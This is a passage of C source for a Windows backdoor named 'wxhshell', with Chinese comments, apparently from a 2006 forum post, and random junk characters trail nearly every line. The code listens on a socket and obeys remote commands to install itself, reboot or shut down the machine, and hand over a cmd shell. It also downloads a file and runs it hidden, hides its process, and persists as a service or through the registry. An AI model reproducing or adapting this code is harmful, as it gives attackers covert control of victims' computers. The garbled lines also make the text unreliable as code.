    switch(cmd[0]) { L [&|<<c  
  ?D;7ut$~  
  // 帮助 ){*9$486  
  case '?': { LjCUkbzQF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V I]~uTV  
    break; Cs2kbG_  
  } rlY n"3%  
  // 安装 >~jl0!2z@  
  case 'i': { GD% qrK?  
    if(Install()) [*1:?mD$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$3e pP  
    else |f1RhB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z}F^HQ 1  
    break; gO#%*  W  
    } %k @4}M>  
  // 卸载 !uP8powO  
  case 'r': { Oj '^Ww m  
    if(Uninstall()) mFt\xGa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N ;Cs? C  
    else Z-3("%_$/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e5(c,,/  
    break; 39A|6>-?  
    } 5Gm8U"UR  
  // 显示 wxhshell 所在路径 ZEs^b  
  case 'p': { V`@/"Djj  
    char svExeFile[MAX_PATH]; Ld 0j!II(  
    strcpy(svExeFile,"\n\r"); @(IA:6GN  
      strcat(svExeFile,ExeFile); <5zr|BTF]F  
        send(wsh,svExeFile,strlen(svExeFile),0); P|ftEF  
    break; 9Y?``QBN  
    } =.l>Uw!  
  // 重启 2 ,krVb?<  
  case 'b': { uK0L>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u q A!#E  
    if(Boot(REBOOT)) S[{,+{b0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3xgU=@!;  
    else { 5=  V29  
    closesocket(wsh); 89t"2|9 u  
    ExitThread(0); iLNO}EUL  
    } u Yc}eMb  
    break; GC|V>| tz#  
    } t"OP*  
  // 关机 *+(eH#_2/  
  case 'd': { `JyI`@,!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ErFt5%FN.O  
    if(Boot(SHUTDOWN)) l;@bs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }GHC u  
    else { ` l %,4qR  
    closesocket(wsh); R G~GVf  
    ExitThread(0); , eSpt#M  
    } wUL 5"\  
    break; Df$~=A}  
    } qpzyl~g:C  
  // 获取shell J&B5Ll  
  case 's': { =E-o@#BS  
    CmdShell(wsh); }PM7CZSq  
    closesocket(wsh); ,W;|K 5  
    ExitThread(0); UID`3X  
    break; jvpv1>KYV  
  } 2B5Ez,'#x  
  // 退出 )`6OSB  
  case 'x': { y qK*E*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wFjQ1<s=  
    CloseIt(wsh); N#@v`S  
    break; 4~8-^^  
    } qn'TIE.  
  // 离开 P@% L.y B  
  case 'q': { B>sQcZ:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ux,eY  
    closesocket(wsh); 0uIBaW3s  
    WSACleanup(); JIqg[Mao  
    exit(1); y\[q2M<  
    break; aOQT-C[ O  
        } Hs{x Z:  
  } o/[Ks;l  
  } ):A.A,skf  
B\qy:nr j  
  // 提示信息 m\E=I5*/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m=Mk@xfQ#  
} =@q,/FR-  
  } O@w_"TJP/z  
^(@]5$^Z  
  return; c#>:U,j  
} #r1y|)m`  
~yV?*"Hi  
// shell模块句柄 k_?~@G[I  
int CmdShell(SOCKET sock) ln":j?`  
{ E>O@Bv  
STARTUPINFO si; V|*3*W  
ZeroMemory(&si,sizeof(si)); BB ::zBg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ePxAZg$ `>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q'?VLv |@  
PROCESS_INFORMATION ProcessInfo; 9xE_Awlc85  
char cmdline[]="cmd"; N P5K1:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z46Sh&+  
  return 0; AJ3Byb=.  
} ~PU}==*q  
" BLJh)i  
// 自身启动模式 Zv?"1Y< L  
int StartFromService(void) fZ^ad1o  
{ _c-(T&u<  
typedef struct VW;E14  
{ k![H;}W  
  DWORD ExitStatus; !1A< jL  
  DWORD PebBaseAddress; Ll VbY=EX7  
  DWORD AffinityMask; bfpoX,:   
  DWORD BasePriority; c `.BN(  
  ULONG UniqueProcessId; Vn\jUEC  
  ULONG InheritedFromUniqueProcessId; _::ssnG3jT  
}   PROCESS_BASIC_INFORMATION; 7{9M ^.}  
XN{zl*`  
PROCNTQSIP NtQueryInformationProcess; WGyPyG#Fl  
Lf%}\0:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4$U^)\06W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5fz K*[B  
"D KrQ,L  
  HANDLE             hProcess; SwaPRAF  
  PROCESS_BASIC_INFORMATION pbi; `)MKCw$e  
ou`KkY||  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xDsKb_  
  if(NULL == hInst ) return 0; u1d%wOY  
3\C+g{}e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {kb7u5-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A5]yC\*zt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Z\{ijfvD  
<:mK&qu f  
  if (!NtQueryInformationProcess) return 0; A>HCX 4i  
!\O!Du  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hTcU %Nc  
  if(!hProcess) return 0; G)_Zls2 ;  
YD{N)v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @D `j   
Pv3G?u=4  
  CloseHandle(hProcess); c%(Nd i  
"<%J^Z9G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,|,kU0xXz  
if(hProcess==NULL) return 0; 0"ooHP$1  
BQ70<m2D$  
HMODULE hMod; Q&"oh  
char procName[255]; (hIo0 .  
unsigned long cbNeeded; -})zRL0!'  
s#")hMJQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]9JH.fF  
GdrVH,j  
  CloseHandle(hProcess); .~q>e*8AH  
tDfHO1pS  
if(strstr(procName,"services")) return 1; // 以服务启动 {zLgLBM  
In+2~Jw/2!  
  return 0; // 注册表启动 e#k)F.TZ:%  
} N|ZGc{?  
QXl~a%lB  
// 主模块 RZ ?SiwE  
int StartWxhshell(LPSTR lpCmdLine) v\?l+-A? y  
{ G|"m-.9F  
  SOCKET wsl; +4rd N\.  
BOOL val=TRUE; >g@@ yR,  
  int port=0; "ctZ"*  
  struct sockaddr_in door; rq}xuSFI  
x-4d VKE*z  
  if(wscfg.ws_autoins) Install(); DnW/q  
LB}J7yEQvj  
port=atoi(lpCmdLine); 9- 24c  
P_75-0G  
if(port<=0) port=wscfg.ws_port; 3*(><<ZC  
lQm7`+  
  WSADATA data; 'm-5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /g!Xe]Ss  
xh!T,|IR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }_@p`>|)rB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >RpMw!NT  
  door.sin_family = AF_INET; :_,3")-v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Ik~E&Ku2'  
  door.sin_port = htons(port); Fzy#!^9Nu  
UQ@szE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g@Y]$ey%A  
closesocket(wsl); 2pP"dX  
return 1; ,pQ[e$u1  
} >*n4j:  
*m`x/_y+  
  if(listen(wsl,2) == INVALID_SOCKET) { Re'3bs:+  
closesocket(wsl); Xh/BVg7$  
return 1; ~lqNWL^l  
} E]^n\bE%  
  Wxhshell(wsl); DNyt_5j&:  
  WSACleanup(); CLJn+Y2  
S?VKzVDB.S  
return 0; }ov>b2H#<  
0~W6IGE~  
} X gtn}7N.  
?wn <F}UH  
// 以NT服务方式启动 W2M[w_~QE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C 20VSwd  
{ %*IH~/Ld;]  
DWORD   status = 0; 7;] IlR6  
  DWORD   specificError = 0xfffffff; R"\(a  
X\*H7;k,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ")nKFs5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t?=V<Yd1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $~?)E;S  
  serviceStatus.dwWin32ExitCode     = 0; |W&K@g$  
  serviceStatus.dwServiceSpecificExitCode = 0; z=8l@&hYLq  
  serviceStatus.dwCheckPoint       = 0; niYD[Ra\xP  
  serviceStatus.dwWaitHint       = 0; 8p1:dTI5Pb  
,JPDPI/a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (#>Q#Izr  
  if (hServiceStatusHandle==0) return; -Y N( j \  
VMNdC}  
status = GetLastError(); wWq-zGH|&  
  if (status!=NO_ERROR) |I|,6*)xg  
{ f}?p Y"yvO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t_(S e  
    serviceStatus.dwCheckPoint       = 0; t$R0UprK  
    serviceStatus.dwWaitHint       = 0; z: )*Aobwv  
    serviceStatus.dwWin32ExitCode     = status; .cmhi3o4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'gsO}xj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uOZSX.o^  
    return; Vn_>c#B  
  } A v;NQt8ut  
9,"gXsvx(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DLe>EU;vS  
  serviceStatus.dwCheckPoint       = 0; ~uB@oKMru  
  serviceStatus.dwWaitHint       = 0; CL t(_!q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f;&XTF5D^  
} W4h]4X  
"ZmxHMf  
// 处理NT服务事件,比如:启动、停止 Z1 (!syg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \D#+0  
{ [:A">eYI  
switch(fdwControl) LVL#qNIu  
{ 4~WSIR-  
case SERVICE_CONTROL_STOP: 1Eryw~,,9i  
  serviceStatus.dwWin32ExitCode = 0; qa6HwlC1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n~i^+pD@  
  serviceStatus.dwCheckPoint   = 0; a"k,x-EL(  
  serviceStatus.dwWaitHint     = 0; -}8r1jQH;  
  { NG4@L1f%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nGTqW/k[+s  
  } ?9*[\m?-  
  return; CKU)wJ5t  
case SERVICE_CONTROL_PAUSE: $u)#-X;x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'sk M$jr  
  break; li} >xDSQ4  
case SERVICE_CONTROL_CONTINUE: B5;94YIN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sq8O+AWl  
  break; =knBwjeD  
case SERVICE_CONTROL_INTERROGATE: = mhg@N4  
  break; M IUB]  
}; CY!H)6k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); grJ(z)c  
} !~-@sq  
~k ]$J|}za  
// 标准应用程序主函数 q+XU Cnv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C"h7'+Kw  
{ _Vr}ipx-k  
fs#9*<]m  
// 获取操作系统版本 ~y ?v  
OsIsNt=GetOsVer(); Z>W&vDeuN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uz `OAb  
#}UI  
  // 从命令行安装 h>/L4j*Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); O*Z -3 l  
t0 T#Xb  
  // 下载执行文件 !1bATO:x  
if(wscfg.ws_downexe) { S Fqq(K2u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6N.MC B^  
  WinExec(wscfg.ws_filenam,SW_HIDE); <?!%dV{z  
} u4[rA2Bf8E  
BR~+CBH  
if(!OsIsNt) { $rQi$w/  
// 如果时win9x,隐藏进程并且设置为注册表启动 z+nq<%"'  
HideProc(); F=;nWQ&  
StartWxhshell(lpCmdLine); kyD*b3MN  
} : )k|Onz  
else iDlg>UYd  
  if(StartFromService()) x0q `Uc  
  // 以服务方式启动 2K{)8 ;^  
  StartServiceCtrlDispatcher(DispatchTable); Qmj%otSg  
else :2;c@ uj  
  // 普通方式启动 FF30 VlJ  
  StartWxhshell(lpCmdLine); K- TLzoYA  
F\+!\b*lP  
return 0; Gg5>~"pb  
}
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只看该作者 1 发表于: 2006-10-10
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